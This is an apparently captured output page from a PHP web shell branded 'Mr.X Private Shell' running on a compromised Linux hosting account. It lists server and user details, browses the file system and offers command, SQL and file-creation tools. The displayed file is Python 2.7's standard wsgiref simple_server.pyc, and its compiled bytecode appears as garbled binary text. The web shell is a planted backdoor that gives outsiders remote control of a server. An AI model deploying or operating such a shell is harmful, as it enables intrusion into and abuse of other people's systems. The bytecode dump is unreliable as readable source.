Uname: Linux server.digisquadtech.com 4.18.0-553.100.1.el8_10.x86_64 #1 SMP Mon Feb 2 04:13:33 EST 2026 x86_64
User: 1091 (madhavfluid)
Group: 1090 (madhavfluid)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//lib64/python2.7/wsgiref      ( Reset | Go to )
File Name: simple_server.pyc

{fc@scdZddlmZmZddlZddlZddlmZdZdddd    gZ    d
eZ
d ej j ƒd Z e
d e Zdefd„ƒYZdefd„ƒYZdefd„ƒYZd„Zeed„Zedkr_eddeƒZejjƒZdGed GdGedGdGHddlZejdƒejƒejƒndS(s*BaseHTTPServer that implements the Python WSGI protocol (PEP 333, rev 1.21)

This is both an example of how WSGI can be implemented, and a basis for running
simple web applications on a local machine, such as might be done when testing
or debugging an application.  It has not been reviewed for security issues,
however, and we strongly recommend that you use a "real" web server for
production use.

For example usage, see the 'if __name__=="__main__"' block at the end of the
module.  See also the BaseHTTPServer module docs for other API information.
iÿÿÿÿ(tBaseHTTPRequestHandlert
HTTPServerN(t SimpleHandlers0.1t
WSGIServertWSGIRequestHandlertdemo_appt make_servers WSGIServer/sPython/it t ServerHandlercBseZeZd„ZRS(cCsBz-|jj|jjddƒd|jƒWdtj|ƒXdS(NRii(trequest_handlert log_requesttstatustsplitt
bytes_sentRtclose(tself((s-/usr/lib64/python2.7/wsgiref/simple_server.pyRs    $(t__name__t
__module__tsoftware_versiontserver_softwareR(((s-/usr/lib64/python2.7/wsgiref/simple_server.pyRscBs8eZdZdZd„Zd„Zd„Zd„ZRS(s7BaseHTTPServer that implements the Python WSGI protocolcCstj|ƒ|jƒdS(s.Override server_bind to store the server name.N(Rt server_bindt setup_environ(R((s-/usr/lib64/python2.7/wsgiref/simple_server.pyR.s cCsYi}|_|j|d<d|d<t|jƒ|d<d|d<d|d<d|d<dS(    Nt SERVER_NAMEsCGI/1.1tGATEWAY_INTERFACEt SERVER_PORTtt REMOTE_HOSTtCONTENT_LENGTHt SCRIPT_NAME(t base_environt server_nametstrt server_port(Rtenv((s-/usr/lib64/python2.7/wsgiref/simple_server.pyR3s  


cCs|jS(N(t application(R((s-/usr/lib64/python2.7/wsgiref/simple_server.pytget_app=scCs ||_dS(N(R"(RR"((s-/usr/lib64/python2.7/wsgiref/simple_server.pytset_app@sN(    RRt__doc__tNoneR"RRR#R$(((s-/usr/lib64/python2.7/wsgiref/simple_server.pyR(s         
    cBs-eZdeZd„Zd„Zd„ZRS(s WSGIServer/c    Cs¿|jjjƒ}|j|d<|j|d<d|jkrY|jjddƒ\}}n|jd}}tj|ƒ|d<||d<|j    ƒ}||j
dkr²||d    <n|j
d|d
<|j j dkrè|j j|d <n|j j |d <|j jd ƒ}|r||d <nx›|j j D]}|jddƒ\}}|jddƒjƒ}|jƒ}||kr~q*nd||kr©|d|cd|7<q*||d|<q*W|S(NtSERVER_PROTOCOLtREQUEST_METHODt?iRt    PATH_INFOt QUERY_STRINGiRt REMOTE_ADDRt CONTENT_TYPEscontent-lengthRt:t-t_tHTTP_t,(tserverRtcopytrequest_versiontcommandtpathR turllibtunquotetaddress_stringtclient_addresstheaderst
typeheaderR&ttypet    getheadertreplacetuppertstrip(    RR!R7tquerythosttlengththtktv((s-/usr/lib64/python2.7/wsgiref/simple_server.pyt get_environIs8  
     cCstjS(N(tsyststderr(R((s-/usr/lib64/python2.7/wsgiref/simple_server.pyt
get_stderrnscCs°|jjdƒ|_t|jƒdkrVd|_d|_d|_|jdƒdS|jƒsfdSt    |j|j
|j ƒ|j ƒƒ}||_ |j|jjƒƒdS(sHandle a single HTTP requestiiRižN(trfiletreadlinetraw_requestlinetlent requestlineR5R6t
send_errort parse_requestRtwfileRLRIR    trunR3R#(Rthandler((s-/usr/lib64/python2.7/wsgiref/simple_server.pythandleqs              $    (RRt __version__tserver_versionRIRLRW(((s-/usr/lib64/python2.7/wsgiref/simple_server.pyREs
    %    cCsddlm}|ƒ}|dIJ|J|jƒ}|jƒx0|D](\}}||IdIt|ƒIJqDW|ddgƒ|jƒgS(    Niÿÿÿÿ(tStringIOs Hello world!t=s200 OKs Content-Types
text/plain(s Content-Types
text/plain(RZtitemstsorttreprtgetvalue(tenvirontstart_responseRZtstdoutRFRGRH((s-/usr/lib64/python2.7/wsgiref/simple_server.pyR‡s    

 cCs&|||f|ƒ}|j|ƒ|S(sACreate a new WSGI server listening on `host` and `port` for `app`(R$(RDtporttappt server_classt handler_classR3((s-/usr/lib64/python2.7/wsgiref/simple_server.pyR“s t__main__Ri@sServing HTTP onRcis...shttp://localhost:8000/xyz?abc(R%tBaseHTTPServerRRR8RJtwsgiref.handlersRRXt__all__RYtversionR t sys_versionRRRRRRRthttpdtsockett getsocknametsat
webbrowsertopenthandle_requestt server_close(((s-/usr/lib64/python2.7/wsgiref/simple_server.pyt<module> s*
B        


All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL